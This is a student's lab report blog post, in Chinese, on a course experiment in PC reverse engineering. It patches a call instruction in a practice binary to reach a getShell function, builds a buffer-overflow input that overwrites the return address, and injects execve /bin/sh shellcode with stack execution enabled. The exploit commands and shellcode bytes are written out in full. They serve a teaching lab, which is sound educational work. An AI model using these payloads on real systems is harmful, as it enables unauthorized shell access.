2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解

2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解

需要描述的内容

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90
  • JNE为条件转移指令,如果不相等则跳转。机器码是75。(Jump Not Equal)
  • JE为条件转移指令,相等则跳转。机器码是74.(Jump Equal)
  • JMP为无条件转移指令。在段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA
  • CMP比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

一、直接修改程序机器指令,改变程序执行流程

首先通过共享文件夹将pwn1文件copy进虚拟机中。
并养成良好习惯进行备份。
使用指令objdump -d pwn20165204 | more

找到相应的call指令,发现其汇编指令为e8 d7 ff ff ff,e8是call的机器码,d7 ff ff ff是偏移量,我们要做的就是把d7 ff ff ff改成某个希望的数值,让call能够跳转到804847d。

0x08048491 - 0x0804847d = 0x00000014

0xffffffd7 - 0x00000014 = 0xffffffc3

因此我们需要将d7 改为 c3就可以了。

通过vim的%!xxd先将ASCII码文件转换为16进制

再使用/d7ff找到我们想要修改的代码,修改为c3

再使用%!xxd -r将其转换为ASCII码文件,使其能够运行。

保存退出后,反汇编看一下有没有修改成功

运行程序,发现其确实跳转至了getshell函数。至此,实验成功。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

使用objdump -d pwn2 | more命令对文件进行反汇编

使用gdb确认输入字符串哪几个字符会覆盖到返回地址

通过观察可发现1111111122222222333333334444444412345678那 1234 那四个数会覆盖到堆栈上的返回地址,所以只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

通过反汇编可知,应输入11111111222222223333333344444444\x7d\x84\x04\x08。

因为无法使用键盘输入16进制值,故要构造输入字符串
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

再使用管道符|来输入。命令为(cat input; cat) | ./pwn2

三、注入Shellcode并执行

(1)首先修改设置

apt-get install execstack安装execstack

execstack -s pwn2 设置堆栈可执行

execstack -q pwn2查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space查询地址虚拟化是否关闭

(2)把输入的字串放入input_shellcode文件里

(3)打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn2

(4) 再开另外一个终端,用gdb来调试pwn1这个进程。

(5) 使用ps -ef | grep pwn2来确认进程号。找到进程号是33628

(6)disassemble foo命令进行反汇编,设置断点,使用info r esp找到地址

(7)输入x/16x 0xffffd30c查看其存放内容,直接发现了我们的0x01020304所以其存放地址就是0xffffd310

(8)将原shellcode更改为
perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(9)使用(cat input_shellcode;cat) | ./pwn2注入,成功!

四、实验总结

1、什么是漏洞?漏洞有什么危害?

漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误,或者是庞大的代码中的可乘之机。

漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利,让个人社会乃至国家遭受损失。

2、实验收获与感想

做实验之前一头雾水,听刘念老师多次说过这个在中美黑客大战中立下汗马功劳的漏洞。之后听了老师课上的讲解,对其原理明白了很多。而在真正做的时候更加深入地理解了其中的套路,而且真的很顺利(给跪了)。然而限制依然很多,诸多限制去掉一个都很难!想成为Watch Dog中的那种黑客真的是路漫漫其修远兮啊。

posted @ 2019-03-17 00:30  路人贾233  阅读(353)  评论(0编辑  收藏  举报